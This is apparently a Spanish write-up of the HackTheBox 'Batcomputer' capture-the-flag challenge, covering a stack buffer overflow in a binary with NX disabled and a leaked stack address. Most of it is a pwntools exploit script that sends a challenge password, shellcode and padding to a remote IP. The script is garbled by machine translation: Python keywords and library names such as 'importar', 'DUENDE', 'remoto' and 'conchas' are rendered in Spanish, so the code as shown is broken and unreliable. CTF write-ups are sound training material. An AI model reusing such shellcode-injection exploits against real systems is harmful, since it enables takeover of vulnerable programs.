Cubrimos un binario que solo tiene PIE o ejecutable independiente de posición habilitado como protección mientras NX estaba deshabilitado. Analizamos el binario con Ghidra y GDB. Descubrimos que el binario pierde la dirección de memoria de la variable utilizada para almacenar la entrada del usuario. En base a eso, también encontramos que el binario lee hasta 137 bytes de entrada del usuario y los almacena en una variable cuyo tamaño de búfer es de 76 bytes, que es la vulnerabilidad principal de esta aplicación. Causamos una falla de segmentación basada en eso y encontramos que el desplazamiento era de 84 bytes. Con base en el análisis anterior, creamos el script de explotación que lleva el parámetro de conexión y la carga útil final. Esto fue parte de HackTheBox Bat Computadora | Introducción a la explotación binaria
Notas sobre técnicas de desbordamiento de búfer
El código de explotación está debajo
##Binicio
de pwn importar *
contexto.binario = DUENDE('./batcomputadora')
estafa = remoto(‘157.245.39.76’,31662)
estafa.línea de envío(‘1’)
estafa.recvhasta('0x')
base_pila = En t((“0x”+con.recv().descodificar('latino-1').dividir()[0]),16)
registro.éxito(F'base de pila: {maleficio(base_pila)}‘)
estafa.línea de envío(‘2’)
estafa.línea de envío('b4tp@$$w0rd!')
carga útil = ENSAMBLE(conchas.popad() + conchas.sh()) Código shell #
carga útil += b'A'*(84 – len(carga útil)) # nop
carga útil += p64(base_pila) Base de pila #
estafa.línea de envío(carga útil)
estafa.línea de envío(‘3’)
estafa.interactivo()
##Final
Tutorial en vídeo